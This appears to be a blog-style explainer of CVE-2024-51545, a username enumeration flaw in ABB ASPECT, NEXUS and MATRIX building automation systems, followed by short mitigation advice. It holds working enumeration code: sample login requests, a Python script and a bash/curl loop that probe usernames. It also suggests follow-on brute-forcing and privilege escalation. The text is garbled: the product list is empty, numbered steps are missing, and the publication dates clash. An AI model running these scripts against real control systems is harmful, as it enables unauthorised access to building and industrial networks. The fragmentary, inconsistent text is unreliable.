Published: June 2024
Affected Products:

In Simple Terms: What’s the Issue?

CVE-2024-51545 describes a Username Enumeration vulnerability in ABB ASPECT - Enterprise, NEXUS Series, and MATRIX Series control systems. This security flaw means attackers can figure out if a specific username exists in the system. Once they have valid usernames, it becomes much easier for them to perform further attacks like brute-forcing passwords or abusing user management (add, delete, modify, list users).

This problem affects critical building automation and industrial control software, putting enterprise environments at risk.

Why is Username Enumeration a Problem?

Imagine you’re locking your house, but the lock tells a stranger when you try the right key. That's what username enumeration does—it lets attackers know when they've guessed a valid username, opening the door for more serious attacks.

MATRIX Series v3.08.02

If you’re using these, you’re at risk. These products are often found in industrial and commercial buildings to control HVAC, lighting, and security.

How Attackers Exploit this Vulnerability (With Code)

Username enumeration often happens when login forms, password reset forms, or user management APIs respond differently based on whether a username exists.

For example, submitting this data (with a guessed username)

POST /login HTTP/1.1
Host: vulnerable-system.local
Content-Type: application/x-www-form-urlencoded

username=admin&password=test123

If "admin" is real, the app replies

HTTP/1.1 401 Unauthorized
Content-Length: 55

Wrong password for this user. Please try again.

If the username is fake ("notarealuser")

HTTP/1.1 404 Not Found
Content-Length: 34

User not found. Please register first.

Notice: The error messages are different for real vs. fake users.

Step 3: Automate the Attack (Python Example)

Attackers automate these queries to test thousands of usernames quickly.

import requests

url = 'http://vulnerable-system.local/login';
usernames = ['admin', 'user1', 'john', 'manager']

for user in usernames:
    data = {'username': user, 'password': 'wrongpass'}
    resp = requests.post(url, data=data)
    if 'Wrong password' in resp.text:
        print(f"[+] Found valid username: {user}")
    elif 'User not found' in resp.text:
        print(f"[-] No such user: {user}")

Brute Force Passwords: Keep trying common passwords for those usernames.

2. User Management Exploits: Abuse any available endpoints to add, delete, modify, or list users, especially if these APIs aren’t well secured.

Elevate Privileges: Try to gain admin access by targeting users with powerful roles.

In ABB ASPECT/NEXUS/MATRIX: If user management pages do not require extra verification and leak usernames, an attacker could possibly enumerate and alter the list of users.

Here’s a minimal shell example (bash with curl)

for user in admin supervisor guest engineer; do
    resp=$(curl -s -d "username=$user&password=test" http://vulnerable-system.local/login)
    if echo "$resp" | grep -q "Wrong password"; then
        echo "Valid username found: $user"
    fi
done

This script loops through a list and prints out valid usernames.

If you use ABB ASPECT, NEXUS, or MATRIX versions 3.08.02

1. Limit network access to trusted users/devices: Restrict who can reach the login page.
2. Monitor logs for repeated failed logins/user enumeration attempts.

How Vendors Should Fix It

- Return the same generic error (like "Invalid credentials") for every failed login, no matter if it’s the username or password.

- ABB Security Advisory | ABB Product Vulnerabilities
- Mitre CVE Database
- OWASP Username Enumeration Cheat Sheet
- ABB ASPECT - Official Product Page

Conclusion

CVE-2024-51545 in ABB ASPECT, NEXUS, and MATRIX opens up a simple way for attackers to discover valid usernames, undermining the security of critical industrial networks. Patch as soon as you can, use generic error messages, and stay alert for signs of probing.

Timeline

Published on: 12/05/2024 13:15:07 UTC